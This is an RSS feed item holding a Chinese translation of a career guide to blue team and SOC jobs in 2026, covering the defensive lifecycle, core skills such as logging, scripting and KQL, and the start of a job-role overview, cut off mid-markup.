<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>securitainment</title>
    <link>https://wechat2rss.xlab.app/feed/8dd9857e540441b90ee86986df74b5e1a96d2abb.xml</link>
    <description>Knowledge is power. 致力于为技术专家和安全爱好者提供安全分析、案例研究和最新安全动态。**所有文章仅限技术研究**&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (securitainment)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/USH8Nb3Hz5RicpuhRIBLeWQ0jwGn1uYDUiabEko2BVhv8F8Ilrarr0vavNX6VFibFAliahgkc6uuGfM/0</url>
      <title>securitainment</title>
      <link>https://wechat2rss.xlab.app/feed/8dd9857e540441b90ee86986df74b5e1a96d2abb.xml</link>
    </image>
    <item>
      <title>2026 年网络安全入行指南 - 蓝队与 SOC 岗位从零到一</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496020&amp;idx=1&amp;sn=ce7aeb85451834066c8405d5d9d4df15</link>
      <description>面向 2026 年蓝队与 SOC 岗位求职者的实用入行指南，涵盖核心技能、岗位分类、认证建议、实验环境搭建和求职策略。</description>
      <content:encoded><![CDATA[<p><span>Andy Gill</span> <span>2026-05-11 16:35</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=93cff8cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgTImqdtsmwvPRmdocHiaZg9IIJ0kCAdBJfbPW45EvfTaQZVFVKaRrtSA2uKPNUxOJaXuvc5ib5JZagEj5ziaLBOicWEQliaUKxajuE%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>面向 2026 年蓝队与 SOC 岗位求职者的实用入行指南，涵盖核心技能、岗位分类、认证建议、实验环境搭建和求职策略。</p>
  <blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">2026 年网络安全入行指南：SOC 岗位、蓝队技能、实验环境、认证，以及帮助你拿到第一份 offer 的实用建议。</span></p></blockquote><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100011206" data-ratio="0.6675925925925926" data-type="jpeg" data-w="1080" style="max-width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=987d6d3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShNjmiaZxu1xvl39rGLnkL5lWMVR8qHOgylfvqaPMsx7at1k3om5kkHzvFUREibo52S4XXiaHREafyGIXvEc1uWuYU1R02cy8znic4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://blog.zsec.uk/ltr101-getting-into-industry-in-2026/" target="_blank">https://blog.zsec.uk/ltr101-getting-into-industry-in-2026/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Andy Gill</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年想要进入网络安全行业，难度前所未有。过去十年间，行业的入门门槛持续升高，拿到第一个岗位或实习机会的竞争也比以往更加激烈。本文将探讨 2026 年进入蓝队和 SOC 岗位所需的条件、真正重要的技能，以及让候选人脱颖而出的关键要素。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我的职业生涯中，我写过很多关于如何进入安全行业的文章 (从领导岗位中学到的经验)，但内容一直偏重于进入红队方向——我承认那确实是我的主要兴趣所在。不过近来，我越来越多地参与到蓝队相关的工作中。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">蓝队也是一个缺乏入门指引的领域——关于如何入行、应该关注什么、有哪些岗位和培训可供选择，外面的相关资料似乎远远不够。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于我也参与过招聘、面试和录用工作，这篇文章将介绍一些关键的加分项，帮助你找到行业中的第一份工作。文章的核心内容聚焦于蓝队，但同样包含不少关于红队的实用信息。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你还没有看过，强烈推荐去看看我的好朋友 Neil Lines 关于如何进入红队/渗透测试的演讲，其中有很多值得思考的内容：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.youtube.com/watch?v=VM6WKk0MqNM" target="_blank">https://www.youtube.com/watch?v=VM6WKk0MqNM</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Neil 的演讲风格独到，讲故事的能力出色。他在演讲中深入分享了自己如何进入这个行业、走过了哪些步骤，同时还涵盖了许多精彩的话题。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">什么是蓝队</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">蓝队的核心使命是保护组织免受攻击。具体来说，通常包括监控系统、检测可疑行为、调查安全事件，以及帮助组织提升整体安全水平。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">理解防御安全的一个常用框架是以下生命周期：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">预防 → 检测 → 响应 → 恢复</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">尽可能预防攻击，检测突破防线的威胁，响应并加以遏制，最后恢复受影响的系统。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在实际工作中，大多数蓝队岗位会涉及上述流程的多个环节，而能够掌握各环节的技能将帮助你更好地应对各种情况。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">核心技能</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">无论你最终在攻防哪一方，有一些核心技能会让你在这个行业中如鱼得水。同时具备技术能力和社交能力，远比只偏重某一方面更有帮助。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">系统管理经验</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">动手搭建一些东西。运行自己的服务。搞坏它们，再修好它们。理解系统的实际运行方式并学会排障，是安全领域最有价值的基础之一。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">写作</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">写代码、写博客、记录你所学到的一切。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">创建一个 GitHub 账号，把你做过或实验过的东西发布出来。不需要多么开创性，只需要展示你的好奇心和理解力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">例如，我创建了 </span><strong><span leaf="">RandomScripts</span></strong><span leaf="">，它只是一个我多年来随手写的工具和脚本的合集，可能在某些场景下用得上。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">操作系统基础</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你应该能够熟练地使用和排障以下两种操作系统：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Windows</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Linux</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">理解进程、服务、身份验证、权限和日志在操作系统层面的工作原理至关重要。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">日志与遥测</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">无论你最终加入红队、蓝队，还是其他颜色团队，理解</span><strong><span leaf="">日志与遥测</span></strong><span leaf="">都极具价值。日志往往是调试问题、理解安全事件、以及还原攻击过程的关键线索。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">脚本编程</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">选一门脚本语言，学好基础。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐的选择包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Python</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">PowerShell</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Bash</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Kusto Query Language (KQL) - 对蓝队尤其有用，许多组织都在使用 Microsoft Defender XDR 和/或 Sentinel。下面的子章节中提供了一些学习课程和链接。</span></p></li><ul style="margin: 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">如果你感兴趣，我搭建了一个 Microsoft Defender XDR 的 ludus 环境，可以在这里找到</span></p></li></ul></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你不需要成为软件工程师，但理解函数的工作原理、库的使用方法以及简单任务的自动化，会让你受益匪浅。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">理解攻击者行为</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">无论你在红队还是蓝队，理解对手的思维方式和行动模式都会提升你的检测与防御能力——没有什么比深入了解进攻更能强化防守了。这里不是指理解犯罪动机，而是理解攻击者使用的</span><strong><span leaf="">技</span></strong><span leaf="">术、行为和模式。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">网络与流量分析</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你不需要把 OSI 模型背得滚瓜烂熟。我个人一直用的记忆口诀是：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">All People See Trees Near Dalmuir Park</span></code></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不查 Google 我能说出每一层的名字吗？老实说不能。但对网络有基本的理解、并能分析流量，在调查安全事件时会帮上大忙。另外一个需要了解的重要领域，是行业中有哪些岗位以及如何搜索这些岗位。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">岗位介绍</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是对常见安全岗位的梳理，包括各岗位的入门门槛和主要职责概述，帮助你在求职时更有方向感！</span></p><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">入门级岗位</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: 